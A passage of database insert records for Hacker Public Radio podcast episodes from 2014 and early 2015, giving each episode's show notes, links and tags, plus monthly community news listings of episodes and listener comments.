(1476,'2014-03-31','Sega Genesis Music Driver',1188,'@sigflup interviews kubilus1 about his VGM driver for the Sega Genesis/Megadrive','<p>\r\nsigflup and kubilus1 talk about kubilus1\'s vgm driver for the Sega Genesis/Megadrive. \r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>DefleMask: <a href=\"https://www.delek.com.ar/deflemask\">https://www.delek.com.ar/deflemask</a>\r\n</li>\r\n<li>Genesis Linux Setup: <a href=\"https://code.google.com/p/gendev/\">https://code.google.com/p/gendev/</a>\r\n</li>\r\n<li>VGM Driver: <a href=\"https://code.google.com/p/gendev/source/browse/#svn%2Ftrunk%2Fextras%2Fsound_drvr%2Fdriver\">https://code.google.com/p/gendev/source/browse/#svn%2Ftrunk%2Fextras%2Fsound_drvr%2Fdriver</a>\r\n</li>\r\n<li>Spritesmind forums: <a href=\"https://gendev.spritesmind.net/forum\">https://gendev.spritesmind.net/forum</a>\r\n</li>\r\n</ul>',115,0,0,'CC-BY-SA','Sega Genesis,Sega Megadrive,VGM,Video Game Music,SDCC,Small Device C Compiler',0,1351,1),
(1472,'2014-03-25','How I Found Linux',839,'CPrompt^ goes into how he found linux and never looked back...','<p>\r\nCPrompt^ goes into how he found linux and never looked back...\r\n</p>\r\n\r\n<ul>\r\n<li>Fragfest : <a href=\"https://en.wikipedia.org/wiki/Fragfest\">https://en.wikipedia.org/wiki/Fragfest</a>\r\n</li>\r\n<li>Mandrake : <a href=\"https://en.wikipedia.org/wiki/Mandriva_Linux\">https://en.wikipedia.org/wiki/Mandriva_Linux</a>\r\n</li>\r\n</ul>',252,29,0,'CC-BY-SA','Mandrake,Mandriva,OpenMandriva,Slackware,Debian,Ubuntu',0,1512,1),
(1473,'2014-03-26','FOSDEM Discussion',1384,'Dave chats with his friend Tom about their experiences of FOSDEM 2014','<p>\r\nI decided to attend FOSDEM 2014 this year. I had thought about going\r\nto last year\'s conference but didn\'t get organised enough to make it.\r\nWhen I mentioned my plans to my friend Tom, he thought he\'d attend\r\ntoo, and we agreed to meet up there.\r\n</p>\r\n<p>\r\nWhen we got back from the conference I wanted to record a conversation\r\nwith Tom about our impressions of the event. We tried to do this four\r\ntimes before we finally managed it. We struggled through one recorder\r\nbattery failure and two Mumble failures before we achieved success.\r\nThis is the result of our conversation.\r\n</p>\r\n<p>\r\nApologies for the phone interference in the background, I hadn\'t\r\nrealised the recorder (a Tascam DR-07) would pick it up.\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://fosdem.org/2014/\">https://fosdem.org/2014/</a>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/keynotes_welcome/\">https://fosdem.org/2014/schedule/event/keynotes_welcome/</a>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/how_we_found_600000_grammar_errors/\">https://fosdem.org/2014/schedule/event/how_we_found_600000_grammar_errors/</a>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/wikivisualeditor/\">https://fosdem.org/2014/schedule/event/wikivisualeditor/</a>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/postfix_lessons_learned_and_recent_developments/\">https://fosdem.org/2014/schedule/event/postfix_lessons_learned_and_recent_developments/</a>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/net_ldap/\">https://fosdem.org/2014/schedule/event/net_ldap/</a>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/graphdevroom_analyzebio4j/\">https://fosdem.org/2014/schedule/event/graphdevroom_analyzebio4j/</a>\r\n</li>\r\n<li><a href=\"https://www.flickr.com/photos/sourdough/sets/72157640503490723/\">https://www.flickr.com/photos/sourdough/sets/72157640503490723/</a>\r\n</li>\r\n</ul>',225,97,1,'CC-BY-SA','FOSDEM',0,1357,1),
(1477,'2014-04-01','OSI layer 3',1720,'OSI layer 3','<h2>Spoiler</h2>\r\n<p>Yes we would listen to them reading a phone book. A link for the younger listeners that may have never seen a <a href=\"https://en.wikipedia.org/wiki/Telephone_directory\">https://en.wikipedia.org/wiki/Telephone_directory</a>.</p>\r\n\r\n<p>\r\nIn today\'s show we continue our look at The OSI model for network communications, with examples of Layer 3 been given with particular focus on Geography diverse Host addressing. \r\n<p>From Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OSI_layer_3\">https://en.wikipedia.org/wiki/OSI_layer_3</a></p>\r\n<em>\r\n<p>In the seven-layer OSI model of computer networking, the network layer is layer 3. The network layer is responsible for packet forwarding including routing through intermediate routers, whereas the data link layer is responsible for media access control, flow control and error checking.</p>\r\n\r\n<h2>Functions</h2>\r\n<p>The network layer provides the functional and procedural means of transferring variable-length data sequences from a source to a destination host via one or more networks, while maintaining the quality of service functions.</p>\r\n<p>Functions of the network layer include:</p>\r\n<ul>\r\n<li>Connection model: connectionless communication</li>\r\n</ul>\r\n<dl>\r\n<dd>For example, IP is connectionless, in that a datagram can travel from a sender to a recipient without the recipient having to send an acknowledgement. Connection-oriented protocols exist at other, higher layers of the OSI model.</dd>\r\n</dl>\r\n<ul>\r\n<li>Host addressing</li>\r\n</ul>\r\n<dl>\r\n<dd>Every host in the network must have a unique address that determines where it is. This address is normally assigned from a hierarchical system. For example, you can be \"Fred Murphy\" to people in your house, \"Fred Murphy, 1 Main Street\" to Dubliners, or \"Fred Murphy, 1 Main Street, Dublin\" to people in Ireland, or \"Fred Murphy, 1 Main Street, Dublin, Ireland\" to people anywhere in the world. On the Internet, addresses are known as Internet Protocol (IP) addresses.</dd>\r\n</dl>\r\n<ul>\r\n<li>Message forwarding</li>\r\n</ul>\r\n<dl>\r\n<dd>Since many networks are partitioned into subnetworks and connect to other networks for wide-area communications, networks use specialized hosts, called gateways or routers, to forward packets between networks. This is also of interest to mobile applications, where a user may move from one location to another, and it must be arranged that his messages follow him. Version 4 of the Internet Protocol (IPv4) was not designed with this feature in mind, although mobility extensions exist. IPv6 has a better designed solution.</dd>\r\n</dl>\r\n<p>Within the service layering semantics of the OSI network architecture, the network layer responds to service requests from the transport layer and issues service requests to the data link layer.</p>\r\n</em>',109,83,0,'CC-BY-SA','April Fools',0,1470,1),
(1478,'2014-04-02','Batteries Part 2',2883,'My early experience with batteries &amp; memorable battery operated devices','<p>\r\nA show about batteries - Part 2\r\n</p>\r\n<p>\r\nMy Slow Battery Charger\r\nHahnel Powerstation TC Max, provides gentle overnight trickle charging \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.amazon.co.uk/Hahnel-Powerstation-TC-Compact-Batteries/dp/B00007B5CE\">https://www.amazon.co.uk/Hahnel-Powerstation-TC-Compact-Batteries/dp/B00007B5CE</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nPowerbase battery electric drill, had difficult finding a good link to an example of the drill. \r\nIt came with a selection of drill bits, sockets and two double ended screwdriver bits.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.bumblebeeauctions.co.uk/XcAPViewItem.asp?ID=137697\">https://www.bumblebeeauctions.co.uk/XcAPViewItem.asp?ID=137697</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nCannon A80 digital Camera\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.canon.co.uk/For_Home/Product_Finder/Cameras/Digital_Camera/PowerShot/PowerShot_A80/\">https://www.canon.co.uk/For_Home/Product_Finder/Cameras/Digital_Camera/PowerShot/PowerShot_A80/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nA picture of my trusty Philips 5890 Shaver\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://urun.gittigidiyor.com/kozmetik-kisisel-bakim/philips-philishave-5890-tras-makinasi-77027302\">https://urun.gittigidiyor.com/kozmetik-kisisel-bakim/philips-philishave-5890-tras-makinasi-77027302</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nGarmin Streetpilot i3 GPS Navigation System\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.amazon.co.uk/Garmin-Streetpilot-i3-Navigation-Mapping/dp/B000BMPJOE\">https://www.amazon.co.uk/Garmin-Streetpilot-i3-Navigation-Mapping/dp/B000BMPJOE</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nSansa Clip+\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip\">https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip</a>\r\n</li>\r\n<li>So popular that it\'s still available today many years later\r\n  <a href=\"https://www.amazon.co.uk/SanDisk-Sansa-Player-Expandable-MicroSD/dp/B002NX0ME6\">https://www.amazon.co.uk/SanDisk-Sansa-Player-Expandable-MicroSD/dp/B002NX0ME6</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',201,0,0,'CC-BY-SA','battery,charger,trickle charger',0,1396,1),
(1548,'2014-07-09','Heyu and X10',1780,'Peter64 and Jonathan Nadeau talk about Heyu and X10','<p>\r\nIn today\'s backup show, Peter64 submits a devrandom segment about Heyu and X10 he did with Jonathan Nadeau. \r\n</p>\r\n<p>\r\n<a href=\"https://www.sonar-project.org/\">https://www.sonar-project.org/</a>\r\n</p>\r\n<p>\r\n<a href=\"https://accessiblecomputingfoundation.org/\">https://accessiblecomputingfoundation.org/</a>\r\n</p>\r\n<p>\r\nA good place to look at modules ie the CM11 computer module, light \r\nmodules, appliance modules etc\r\n</p>\r\n<p>\r\n<a href=\"https://www.x10controller.com/kit.html\">https://www.x10controller.com/kit.html</a>\r\n</p>\r\n<p>\r\nHeyu\r\n<a href=\"https://www.heyu.org/\">https://www.heyu.org/</a>\r\n</p>\r\n<p>\r\nDomus Link\r\n<a href=\"https://domus.link.co.pt/\">https://domus.link.co.pt/</a>   \r\n</p>\r\n<p>\r\nAndroid App\r\n<a href=\"https://www.appszoom.com/android_applications/tools/domuslink_yjlt.html\">https://www.appszoom.com/android_applications/tools/domuslink_yjlt.html</a>\r\n</p>\r\n<p>\r\nDoor Locks/strikes\r\n</p>\r\n<p>\r\n<a href=\"https://tinyurl.com/c3j654a\">https://tinyurl.com/c3j654a</a>\r\n</p>\r\n<p>\r\n<a href=\"https://tinyurl.com/d7ckcde\">https://tinyurl.com/d7ckcde</a>\r\n</p>',232,0,1,'CC-BY-SA','Heyu,X10',0,1330,1),
(1568,'2014-08-06','Blather Speech Recognition for Linux',399,'Jon has a conversation with his computer','<h2>Blather Speech Recognition for Linux: Jon has a conversation with his computer</h2>\r\n <p>In this episode I have a <strong>blather</strong> conversation with my computer. This is a sort of appendix to an episode I released earlier (hpr 1284 <a href=\"https://hackerpublicradio.org/eps.php?id=1284\">https://hackerpublicradio.org/eps.php?id=1284</a>) which was a conversation with <a href=\"https://www.jezra.net/\" target=\"_blank\">Jezra</a>, the lead developer of the blather speech recognition program for Linux. The current episode will make much more sense if you listen to the previous one first.</p>\r\n <p>For the most part I use blather as an accessibility tool, to manipulate my desktop and generally to save myself hundreds of keystrokes a day. This is important because of my repetitive strain injuries. Blather allows me to do many “productivity” tasks using only my voice. I also like to have fun with it, though, and this “conversation” is an example of the sort of goofy stuff I like to do. When the computer hears me say certain predefined phrases, it runs commands. For example when I say “what’s for dinner,” it shuffles the contents of a plaintext file that has about 20 options for dinner, chooses the top option and pipes it through my default text-to-speech program, which is either <code>espeak</code> or <code>festival</code>, depending on what I set as the environment variable in my blather startup script. When it hears me ask for certain other information, such as “what day is it?” and “what’s today’s date?”, it runs the appropriate system command and pipes the output through the text-to-speech program. For information about blather, the various back-end things that make it work, examples of my blather scripts and configuration files, visit the links below.</p>\r\n <hr />\r\n <h2>Links</h2>\r\n <ul>\r\n  <li>Blather source code: <a href=\"https://gitorious.org/blather\" target=\"_blank\">https://gitorious.org/blather</a></li>\r\n  <li>Jezra’s site: <a href=\"https://www.jezra.net/\" target=\"_blank\">https://www.jezra.net/</a></li>\r\n  <li>Sphinx page: <a href=\"https://cmusphinx.sourceforge.net/\" target=\"_blank\">https://cmusphinx.sourceforge.net/</a></li>\r\n  <li>Sphinx knowledge base tool: <a href=\"https://www.speech.cs.cmu.edu/tools/lmtool-new.html\" target=\"_blank\">https://www.speech.cs.cmu.edu/tools/lmtool-new.html</a></li>\r\n  <li>Blather Video Demo Playlist on YouTube <a href=\"https://www.youtube.com/playlist?list=PLvB_ffZs45ufhOnw1epfjncXYRa5pfGw8\" target=\"_blank\">https://www.youtube.com/playlist?list=PLvB_ffZs45ufhOnw1epfjncXYRa5pfGw8</a></li>\r\n  <li>My blog intro to Blather: <a href=\"https://jonathankulp.org/blog.html#blather\" target=\"_blank\">https://jonathankulp.org/blog.html#blather</a></li>\r\n  <li>Snapshot of my blather commands file: <a href=\"https://paste.jonkulp.net/sicegamupi.tex\" target=\"_blank\">https://paste.jonkulp.net/sicegamupi.tex</a></li>\r\n  <li>Blather dependencies for Debian <a href=\"https://paste.jonkulp.net/lolilabuje\" target=\"_blank\">https://paste.jonkulp.net/lolilabuje</a></li>\r\n  <li>My Blather startup script: <a href=\"https://paste.jonkulp.net/xatanejawa\" target=\"_blank\">https://paste.jonkulp.net/xatanejawa</a></li>\r\n  <li>Blog post on pocketsphinx gstreamer config: how to fix “vader not found” problem <a href=\"https://jonathankulp.org/blog.html#blather_vader\" target=\"_blank\">https://jonathankulp.org/blog.html#blather_vader</a></li>\r\n  <li>“What time is it?” script <a href=\"https://paste.jonkulp.net/humogedole.vbs\" target=\"_blank\">https://paste.jonkulp.net/humogedole.vbs</a></li>\r\n </ul>',238,0,0,'CC-BY-SA','Speech Recognition, Speech Recognition In Linux, bash scripting, GNU/Linux (Operating System), sphinx, pocketsphinx, automation',0,0,1),
(1651,'2014-12-01','HPR Community News for November 2014',3800,'HPR Community News for November 2014','<h2>New hosts</h2>\n <p>Welcome to our new hosts:<br /><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=289\">pyrrhic</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=290\">Al</a>.</p>\n <h2>Last Month\'s Shows</h2>\n <table id=\"t01\">\n  <tr>\n   <th>Id</th>\n   <th>Date</th>\n   <th>Title</th>\n   <th>Host</th>\n  </tr>\n  <tr>\n   <td><strong>1631</strong></td>\n   <td>2014-11-03</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1631\">HPR Community News for October 2014</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\n  </tr>\n  <tr>\n   <td><strong>1632</strong></td>\n   <td>2014-11-04</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1632\">5150 Shades of Beer: 0002 Wichita Brewing Company</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\n  </tr>\n  <tr>\n   <td><strong>1633</strong></td>\n   <td>2014-11-05</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1633\">The OggCamp organizers</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a></td>\n  </tr>\n  <tr>\n   <td><strong>1634</strong></td>\n   <td>2014-11-06</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1634\">How I got into Linux</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=289\">pyrrhic</a></td>\n  </tr>\n  <tr>\n   <td><strong>1635</strong></td>\n   <td>2014-11-07</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1635\">41 - LibreOffice Calc - Data Manipulation 1: Sorting and AutoFilter</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr>\n   <td><strong>1636</strong></td>\n   <td>2014-11-10</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1636\">How I make coffee</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></td>\n  </tr>\n  <tr>\n   <td><strong>1637</strong></td>\n   <td>2014-11-11</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1637\">Communities Are Made of People</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\n  </tr>\n  <tr>\n   <td><strong>1638</strong></td>\n   <td>2014-11-12</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1638\">Surviving A Roadtrip: Food</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></td>\n  </tr>\n  <tr>\n   <td><strong>1639</strong></td>\n   <td>2014-11-13</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1639\">Ken Starks at Ohio Linux Fest 2014</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr>\n   <td><strong>1640</strong></td>\n   <td>2014-11-14</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1640\">Symmetric vs. Asymmetric Encryption</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr>\n   <td><strong>1641</strong></td>\n   <td>2014-11-17</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1641\">The real reasons for using Linux</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=233\">johanv</a></td>\n  </tr>\n  <tr>\n   <td><strong>1642</strong></td>\n   <td>2014-11-18</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1642\">Frist Time at Oggcamp</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=290\">Al</a></td>\n  </tr>\n  <tr>\n   <td><strong>1643</strong></td>\n   <td>2014-11-19</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1643\">Unison Syncing Utility</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\n  </tr>\n  <tr>\n   <td><strong>1644</strong></td>\n   <td>2014-11-20</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1644\">Opensource.com: Benetech, OpenStack and Kumusha</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\n  </tr>\n  <tr>\n   <td><strong>1645</strong></td>\n   <td>2014-11-21</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1645\">42 - LibreOffice Calc - Data Manipulation 2: Standard and Advanced Filters</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr>\n   <td><strong>1646</strong></td>\n   <td>2014-11-24</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1646\">5150 Shades of Beer 0003 River City Brewing Company and Wichita Brewing Company</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\n  </tr>\n  <tr>\n   <td><strong>1647</strong></td>\n   <td>2014-11-25</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1647\">Oggcast Planet Live 2014: The Cooking Show</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\n  </tr>\n  <tr>\n   <td><strong>1648</strong></td>\n   <td>2014-11-26</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">Bash parameter manipulation</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></td>\n  </tr>\n  <tr>\n   <td><strong>1649</strong></td>\n   <td>2014-11-27</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1649\">Raspberry Pi Accessibility Breakthrough</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a></td>\n  </tr>\n  <tr>\n   <td><strong>1650</strong></td>\n   <td>2014-11-28</td>\n   <td><a href=\"https://hackerpublicradio.org/eps.php?id=1650\">OCPLive2014 Night Life In Elysburg PA</a></td>\n   <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a></td>\n  </tr>\n </table>\n <h2>Comments this month</h2>\n <p>There are 25 comments:</p>\n <ul>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1649\">hpr1649</a></strong> (2014-11-27) \"<em>Raspberry Pi Accessibility Breakthrough</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>. <ol>\n    <li>Steve Bickle on 2014-11-27:\"Great Episode\"</li>\n    <li>Mike Ray on 2014-11-27:\"Pi Accessibility\"</li>\n    <li>Tony Wood on 2014-11-28:\"[no title]\"</li>\n    <li>Mike Ray on 2014-11-29:\"Over to you Tony\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">hpr1648</a></strong> (2014-11-26) \"<em>Bash parameter manipulation</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>. <ol>\n    <li>Tom Rodman on 2014-11-27:\"Thx for covering bash substring expansion\"</li>\n    <li>Mike Ray on 2014-11-29:\"Great stuff\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1643\">hpr1643</a></strong> (2014-11-19) \"<em>Unison Syncing Utility</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a>. <ol>\n    <li>0xf10e on 2014-11-20:\"[no title]\"</li>\n    <li>Frank on 2014-11-21:\"Two supplements on Unison\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1642\">hpr1642</a></strong> (2014-11-18) \"<em>Frist Time at Oggcamp</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=290\">Al</a>. <ol>\n    <li>Mike Ray on 2014-11-18:\"MaryTTS, clipping\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1641\">hpr1641</a></strong> (2014-11-17) \"<em>The real reasons for using Linux</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=233\">johanv</a>. <ol>\n    <li>Mikael on 2014-11-18:\"[no title]\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1640\">hpr1640</a></strong> (2014-11-14) \"<em>Symmetric vs. Asymmetric Encryption</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>. <ol>\n    <li>johanv on 2014-11-18:\"Thank you for explaining this\"</li>\n    <li>Kevin O\'Brien on 2014-11-18:\"You\'re welcome\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1637\">hpr1637</a></strong> (2014-11-11) \"<em>Communities Are Made of People</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a>. <ol>\n    <li>Mikael on 2014-11-14:\"re Facebook\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1636\">hpr1636</a></strong> (2014-11-10) \"<em>How I make coffee</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>. <ol>\n    <li>victor on 2014-11-09:\"Great episode! \"</li>\n    <li>expatpaul on 2014-11-12:\"Bialetti\"</li>\n    <li>Dave Morriss on 2014-11-12:\"Thanks for the feedback\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1630\">hpr1630</a></strong> (2014-10-31) \"<em>Bare Metal Programming on the Raspberry Pi (Part 2)</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a>. <ol>\n    <li>Mike Ray on 2014-11-01:\"Another excellent episode\"</li>\n    <li>Gabriel Evenfire on 2014-11-01:\"Password protected PDF...\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1619\">hpr1619</a></strong> (2014-10-16) \"<em>Bare Metal Programming on the Raspberry Pi (Part 1)</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a>. <ol>\n    <li>Alison Chaiken on 2014-11-09:\"Very valuable content\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1612\">hpr1612</a></strong> (2014-10-07) \"<em>Don\'t Forget the Referbs</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a>. <ol>\n    <li>Charles in NJ on 2014-11-03:\"Returns are fun\"</li>\n   </ol>\n   <br />\n  </li>\n  <li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1599\">hpr1599</a></strong> (2014-09-18) \"<em>Interview with Ingmar Steiner from the MaryTTS project</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>. <ol>\n    <li>Steve Bickle on 2014-11-09:\"How to for Debian\"</li>\n    <li>Mike Ray on 2014-11-13:\"MaryTTS howto etc\"</li>\n    <li>Steve Bickle on 2014-11-26:\"Horses for courses\"</li>\n    <li>Steve Bickle on 2014-11-26:\"Maryspeak project now on github\"</li>\n    <li>Mike Ray on 2014-11-28:\"maryspeak, great stuff\"</li>\n   </ol>\n  </li>\n </ul>',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1676,'2015-01-05','HPR Community News for December 2014',12060,'HPR Community News for December 2014 and part 3 of the New Year Show 18 to 20 Hundred.','<h1>HPR Community News for December 2014</h1>\n <h2>New hosts</h2>\n <p>Welcome to our new hosts:<br /><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=291\">Rill</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=292\">Michal Cieraszynski</a>.</p>\n <h2>Last Month\'s Shows</h2>\n <table id=\"t01\">\n  <tr>\n   <th align=\"left\">Id</th>\n   <th align=\"left\">Date</th>\n   <th align=\"left\">Title</th>\n   <th align=\"left\">Host</th>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1651\">1651</a></strong></td>\n   <td align=\"left\">2014-12-01</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1651\">HPR Community News for November 2014</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1652\">1652</a></strong></td>\n   <td align=\"left\">2014-12-02</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1652\">GeekSpeak 2013-06-01</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=158\">Various Creative Commons Works</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1653\">1653</a></strong></td>\n   <td align=\"left\">2014-12-03</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1653\">Ruth Suehle at Ohio Linux Fest 2014</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1654\">1654</a></strong></td>\n   <td align=\"left\">2014-12-04</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1654\">Using AS numbers to identify where you are on the Internet</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1655\">1655</a></strong></td>\n   <td align=\"left\">2014-12-05</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1655\">43 - LibreOffice Calc - Creating Pivot Tables</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1656\">1656</a></strong></td>\n   <td align=\"left\">2014-12-08</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1656\">My audio player collection</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1657\">1657</a></strong></td>\n   <td align=\"left\">2014-12-09</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1657\">Hacking Gutenberg eBooks</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a></td>\n  </tr>\n  <tr valign=\"top\">\n   <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1658\">1658</a></strong></td>\n   <td align=\"left\">2014-12-10</td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1658\">Cool Stuff Part 2</a></td>\n   <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a></td>\n  </tr>\n  <tr 